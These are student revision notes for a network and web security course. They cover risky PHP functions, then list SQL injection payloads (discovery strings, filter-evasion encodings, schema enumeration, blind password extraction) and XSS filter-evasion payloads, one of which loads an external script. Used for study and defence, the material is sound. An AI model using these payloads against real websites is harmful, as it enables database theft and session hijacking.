C331 Network and Web Security
Revision notes

Tomasz Bartkowiak
https://github.com/bartkowiaktomasz

March 20, 2018

Contents

1 Selected PHP functions

escapeshellarg() - Escape a string used as a shell argument. Adds single quotes around the string and escapes single quotes.

```
system('ls'.escapeshellarg($dir));
```

escapeshellcmd() - Escape any character that might be used to trick shell.

exec() - Execute an external program. Other shell functions: **system()** or backticks **“**. Shell injection!

htmlEntities() - Convert all applicable characters to HTML entities. XSS!

```
<?php
$_GET['xss'] = '#000' onload='alert(document.cookie());
$href = htmlEntities($_GET['xss']);
print "<body bgcolor='$href'>";
?>
```

htmlspecialchars() - Convert special characters to HTML entities. Translates the following characters: &, ", ', <, >. Used ideally using ENT_QUOTES as the second parameter (will convert both single and double quotes).

filter_var() - Filters a variable with a specified filter

mysql_query(), mysqli_query() - Send a MySQL query. Second function used since PHP 7.0.0. SQLi!

```
<?php
$result = mysql_query('SELECT * WHERE 1=1');
if (!$result) {
    die('Invalid query: ' . mysql_error());
}
?>
```

mysql_real_escape_string(), mysqli_real_escape_string() - Escapes special characters in a string for use in an SQL statement. prepends backslashes to *newline*, *single-* and *double quotes*. Second function used since PHP 7.0.0.

mysqli_real_query - Execute an SQL query. SQLi!

pg_escape_literal - Escape a literal for insertion into a text field - adds quotes before and after data. (Used in PostgreSQL). SQLi!

```php
<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Read in a text file
  // (containing apostrophes and backslashes)
  $data = file_get_contents('letter.txt');

  // Escape the text data
  $escaped = pg_escape_literal($data);

  // Insert it into the database.
  // Note that no quotes around {$escaped}
  pg_query("INSERT INTO correspondence (name, data)
                VALUES ('My letter', {$escaped})");
?>
```

pg_escape_string - Escape a string for insertion into a text field - adds quotes before and after data. (Used in PostgreSQL).

pg_query - Execute query. (Used in PostgreSQL). SQLi!

```php
<?php
$conn = pg_pconnect("dbname=publisher");
$query = "SELECT author FROM authors WHERE id=1;";
pg_query($conn, $query);
?>
```

pg_query_params - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text. **preg_replace** - Perform a regular expression search and replace.

```php
<?php
$string = 'April 15, 2003';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,$3';
echo preg_replace($pattern, $replacement, $string);
?>

// Outputs: April1,2003
```

shell_exec() - Execute command via shell and return output as a string. Shell injection!

stripslashes() - Un-quotes a quoted string. Will not prevent HTML injection. HTML injection!

```
<?php
$str = "Is your name O\'reilly?";

// Outputs: Is your name O'reilly?
echo stripslashes($str);
?>
```

str_replace - Replace all occurrences of the search string with the replacement string

2 SQL Injection

2.1 Discover vulnerability:

```
' OR '1'='1
' OR '1=1
' OR 1=1 #
' OR 1=1 --
```

2.2 Signature evasion techniques

White Space

```
 OR 'a'='a'
 OR 'a'  =     'a'
```

Null Bytes

```
%00' UNION SELECT password FROM Users WHERE username='admin'--
```

Comments

```
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--
```

URL Encoding

```
%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--
```

Character Encoding

Any word can be encoded using *char()* function. The below example encodes the word "root".

```
' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--
```

Also *ascii()* function will convert a character to its ASCII numerical value.

String Concatenation

The statement below will produce *SELECT 1*.

```
EXEC('SEL' + 'ECT 1')
```

Note that different databases have different methods for string concatenation:

```
MySql: 'test' + 'ing'
SQL Server: 'test' 'ing'
Oracle: 'test'||'ing'
PostgreSQL: 'test'||'ing'
```

2.3 Fingerprint database

```
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1
```

Get database name and username:

```
' OR 1=1 UNION SELECT database(), user() #
```

2.4 Exploitation Techniques

MySQL

```
SELECT 1,2,3, column_name, 5,6 FROM information_schema.columns WHERE table_name='users' #
SELECT 1,table_name FROM information_schema.tables #
```

PostgreSQL

```
SELECT schema_name from information_schema.schemata
SELECT * FROM information_schema.tables WHERE table_schema = 'public'
SELECT table_name FROM information_schema.tables WHERE table_schema='public'
```

2.5 Blind SQL Injection

True/False questions

```
' UNION SELECT first_name, password FROM users WHERE first_name='admin' AND substring(password,1,1) ='p' #
' AND substring(password,1,1) = 'p'  #
' AND password LIKE 'p%' #
```

To speed up the process use >, <, >=, <=, this will give a binary search.

Response time

MySQL has the *SLEEP()* function; PostgreSQL has the similar *pg_sleep()* function.

3 XSS

3.1 Exploitation techniques

```
<script>alert('XSS');</script>
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
```

JavaScript directive

```
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

Grave accent obfuscation

```
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
```

Malformed A tags

```
<a onmouseover="alert(document.cookie)">xxs link</a>
```

fromCharCode

```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```

Filter that check SRC domain

```
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

Embedded tab/Embedded encoded tab/newline/carriage return to trick XSS filter

```
<IMG SRC="jav    ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

Input type

```
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
```

Body image/Body onload

```
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
```

SVG object tag

```
<svg/onload=alert('XSS')>
```

Iframe

```
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
```